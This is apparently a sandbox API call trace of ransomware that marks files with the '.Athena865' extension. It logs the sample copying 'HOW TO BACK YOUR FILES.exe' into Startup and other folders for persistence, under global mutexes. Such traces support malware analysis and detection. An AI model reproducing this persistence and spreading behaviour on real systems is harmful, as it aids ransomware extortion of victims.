lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe2e8d100, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2e8d100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0103.095] lstrcmpiW (lpString1="Microsoft Office", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.095] lstrcmpiW (lpString1="Microsoft Office", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.095] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Microsoft Office" | out: lpString1="Microsoft Office") returned="Microsoft Office" [0103.095] lstrcatW (in: lpString1="Microsoft Office", lpString2="\\" | out: lpString1="Microsoft Office\\") returned="Microsoft Office\\" [0103.095] lstrcatW (in: lpString1="Microsoft Office\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Office\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Office\\HOW TO BACK YOUR FILES.exe" [0103.095] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Microsoft Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\programs\\microsoft office\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.095] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bd780, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb09e38e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xe2eb3260, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk.Athena865", cAlternateFileName="MOZILL~1.ATH")) returned 1 [0103.095] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.095] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.095] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Mozilla Firefox.lnk.Athena865" | out: lpString1="Mozilla Firefox.lnk.Athena865") returned="Mozilla Firefox.lnk.Athena865" [0103.096] lstrlenW (lpString="Mozilla Firefox.lnk.Athena865") returned 29 [0103.096] lstrlenW (lpString="Athena865") returned 9 [0103.096] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.096] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe2ed93c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2ed93c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SharePoint", cAlternateFileName="SHAREP~1")) returned 1 [0103.096] lstrcmpiW (lpString1="SharePoint", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.096] lstrcmpiW (lpString1="SharePoint", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.096] lstrcpyW (in: lpString1=0x241e8b8, lpString2="SharePoint" | out: lpString1="SharePoint") returned="SharePoint" [0103.096] lstrcatW (in: lpString1="SharePoint", lpString2="\\" | out: lpString1="SharePoint\\") returned="SharePoint\\" [0103.096] lstrcatW (in: lpString1="SharePoint\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SharePoint\\HOW TO BACK YOUR FILES.exe") returned="SharePoint\\HOW TO BACK YOUR FILES.exe" [0103.096] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\SharePoint\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\programs\\sharepoint\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.096] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a233bd5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a233bd5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xe2eff520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x840, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sidebar.lnk.Athena865", cAlternateFileName="")) returned 1 [0103.096] lstrcmpiW (lpString1="Sidebar.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.096] lstrcmpiW (lpString1="Sidebar.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.097] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Sidebar.lnk.Athena865" | out: lpString1="Sidebar.lnk.Athena865") returned="Sidebar.lnk.Athena865" [0103.097] lstrlenW (lpString="Sidebar.lnk.Athena865") returned 21 [0103.097] lstrlenW (lpString="Athena865") returned 9 [0103.097] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.097] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe2eff520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2eff520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0103.097] lstrcmpiW (lpString1="Startup", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.097] lstrcmpiW (lpString1="Startup", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.097] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Startup" | out: lpString1="Startup") returned="Startup" [0103.097] lstrcatW (in: lpString1="Startup", lpString2="\\" | out: lpString1="Startup\\") returned="Startup\\" [0103.097] lstrcatW (in: lpString1="Startup\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Startup\\HOW TO BACK YOUR FILES.exe") returned="Startup\\HOW TO BACK YOUR FILES.exe" [0103.097] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\programs\\startup\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.097] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe2f25680, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2f25680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0103.097] lstrcmpiW (lpString1="Tablet PC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.097] lstrcmpiW (lpString1="Tablet PC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.098] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Tablet PC" | out: lpString1="Tablet PC") returned="Tablet PC" [0103.098] lstrcatW (in: lpString1="Tablet PC", lpString2="\\" | out: lpString1="Tablet PC\\") returned="Tablet PC\\" [0103.098] lstrcatW (in: lpString1="Tablet PC\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Tablet PC\\HOW TO BACK YOUR FILES.exe") returned="Tablet PC\\HOW TO BACK YOUR FILES.exe" [0103.098] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Tablet PC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\programs\\tablet pc\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.098] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b186991, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b186991, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xe2f4b7e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Anytime Upgrade.lnk.Athena865", cAlternateFileName="WINDOW~1.ATH")) returned 1 [0103.098] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.098] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.098] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Windows Anytime Upgrade.lnk.Athena865" | out: lpString1="Windows Anytime Upgrade.lnk.Athena865") returned="Windows Anytime Upgrade.lnk.Athena865" [0103.098] lstrlenW (lpString="Windows Anytime Upgrade.lnk.Athena865") returned 37 [0103.098] lstrlenW (lpString="Athena865") returned 9 [0103.098] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.099] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82491ce0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x82491ce0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xe2f71940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x830, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows DVD Maker.lnk.Athena865", cAlternateFileName="WINDOW~2.ATH")) returned 1 [0103.099] lstrcmpiW (lpString1="Windows DVD Maker.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.099] lstrcmpiW (lpString1="Windows DVD Maker.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.099] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Windows DVD Maker.lnk.Athena865" | out: lpString1="Windows DVD Maker.lnk.Athena865") returned="Windows DVD Maker.lnk.Athena865" [0103.099] lstrlenW (lpString="Windows DVD Maker.lnk.Athena865") returned 31 [0103.099] lstrlenW (lpString="Athena865") returned 9 [0103.099] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.099] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b6b82, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d7b6b82, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d7dcce2, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x7c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Fax and Scan.lnk.Athena865", cAlternateFileName="WINDOW~3.ATH")) returned 1 [0103.099] lstrcmpiW (lpString1="Windows Fax and Scan.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.099] lstrcmpiW (lpString1="Windows Fax and Scan.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.099] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Windows Fax and Scan.lnk.Athena865" | out: lpString1="Windows Fax and Scan.lnk.Athena865") returned="Windows Fax and Scan.lnk.Athena865" [0103.099] lstrlenW (lpString="Windows Fax and Scan.lnk.Athena865") returned 34 [0103.099] lstrlenW (lpString="Athena865") returned 9 [0103.099] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.099] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945dbdb, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8945dbdb, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xe2f97aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x910, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media Player.lnk.Athena865", cAlternateFileName="WINDOW~4.ATH")) returned 1 [0103.099] lstrcmpiW (lpString1="Windows Media Player.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.099] lstrcmpiW (lpString1="Windows Media Player.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.099] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Windows Media Player.lnk.Athena865" | out: lpString1="Windows Media Player.lnk.Athena865") returned="Windows Media Player.lnk.Athena865" [0103.099] lstrlenW (lpString="Windows Media Player.lnk.Athena865") returned 34 [0103.099] lstrlenW (lpString="Athena865") returned 9 [0103.099] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.099] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XPS Viewer.lnk.Athena865", cAlternateFileName="XPSVIE~1.ATH")) returned 1 [0103.099] lstrcmpiW (lpString1="XPS Viewer.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.099] lstrcmpiW (lpString1="XPS Viewer.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.099] lstrcpyW (in: lpString1=0x241e8b8, lpString2="XPS Viewer.lnk.Athena865" | out: lpString1="XPS Viewer.lnk.Athena865") returned="XPS Viewer.lnk.Athena865" [0103.099] lstrlenW (lpString="XPS Viewer.lnk.Athena865") returned 24 [0103.099] lstrlenW (lpString="Athena865") returned 9 [0103.100] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.100] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XPS Viewer.lnk.Athena865", cAlternateFileName="XPSVIE~1.ATH")) returned 0 [0103.100] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.100] ReleaseMutex (hMutex=0xec) returned 1 [0103.100] CloseHandle (hObject=0xec) returned 1 [0103.100] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Sun\\Java" | out: lpString1="C:\\Documents and Settings\\All Users\\Sun\\Java") returned="C:\\Documents and Settings\\All Users\\Sun\\Java" [0103.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b260 | out: hHeap=0x4f0000) returned 1 [0103.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c6f8 | out: hHeap=0x4f0000) returned 1 [0103.100] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Sun\\Java") returned 44 [0103.100] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A42DD2AED99BFB9A8BD48452A9938CA9") returned 0xec [0103.100] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.100] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Sun\\Java" | out: lpString1="C:\\Documents and Settings\\All Users\\Sun\\Java") returned="C:\\Documents and Settings\\All Users\\Sun\\Java" [0103.100] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.100] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Sun\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\sun\\java\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.101] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Sun\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\sun\\java\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.101] GetLastError () returned 0x0 [0103.101] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.102] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.102] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Sun\\Java\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc4cacb60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4cacb60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.102] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.102] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.102] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Java Update" | out: lpString1="Java Update") returned="Java Update" [0103.102] lstrcatW (in: lpString1="Java Update", lpString2="\\" | out: lpString1="Java Update\\") returned="Java Update\\" [0103.102] lstrcatW (in: lpString1="Java Update\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Java Update\\HOW TO BACK YOUR FILES.exe") returned="Java Update\\HOW TO BACK YOUR FILES.exe" [0103.102] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Sun\\Java\\Java Update\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\sun\\java\\java update\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.103] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe2fbdc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2fbdc00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0103.103] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.103] ReleaseMutex (hMutex=0xec) returned 1 [0103.103] CloseHandle (hObject=0xec) returned 1 [0103.103] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\AppData\\Local" | out: lpString1="C:\\Documents and Settings\\Default\\AppData\\Local") returned="C:\\Documents and Settings\\Default\\AppData\\Local" [0103.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b2c8 | out: hHeap=0x4f0000) returned 1 [0103.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c260 | out: hHeap=0x4f0000) returned 1 [0103.103] lstrlenW (lpString="C:\\Documents and Settings\\Default\\AppData\\Local") returned 47 [0103.103] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6D52658814D47C2DBD71BFF89E5464A5") returned 0xec [0103.103] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.103] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\AppData\\Local" | out: lpString1="C:\\Documents and Settings\\Default\\AppData\\Local") returned="C:\\Documents and Settings\\Default\\AppData\\Local" [0103.103] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.103] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\local\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.104] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\local\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.104] GetLastError () returned 0x0 [0103.104] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.105] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.105] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.105] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.105] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.105] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0103.105] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0103.105] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0103.105] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\local\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.106] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0103.106] lstrcmpiW (lpString1="History", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.106] lstrcmpiW (lpString1="History", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.106] lstrcpyW (in: lpString1=0x241e8a8, lpString2="History" | out: lpString1="History") returned="History" [0103.106] lstrcatW (in: lpString1="History", lpString2="\\" | out: lpString1="History\\") returned="History\\" [0103.106] lstrcatW (in: lpString1="History\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History\\HOW TO BACK YOUR FILES.exe") returned="History\\HOW TO BACK YOUR FILES.exe" [0103.106] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\local\\history\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.107] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.107] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.107] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x66b2700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xbdaf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db.Athena865", cAlternateFileName="ICONCA~1.ATH")) returned 1 [0103.107] lstrcpyW (in: lpString1=0x241e8a8, lpString2="IconCache.db.Athena865" | out: lpString1="IconCache.db.Athena865") returned="IconCache.db.Athena865" [0103.107] lstrlenW (lpString="IconCache.db.Athena865") returned 22 [0103.107] lstrlenW (lpString="Athena865") returned 9 [0103.107] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.107] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, 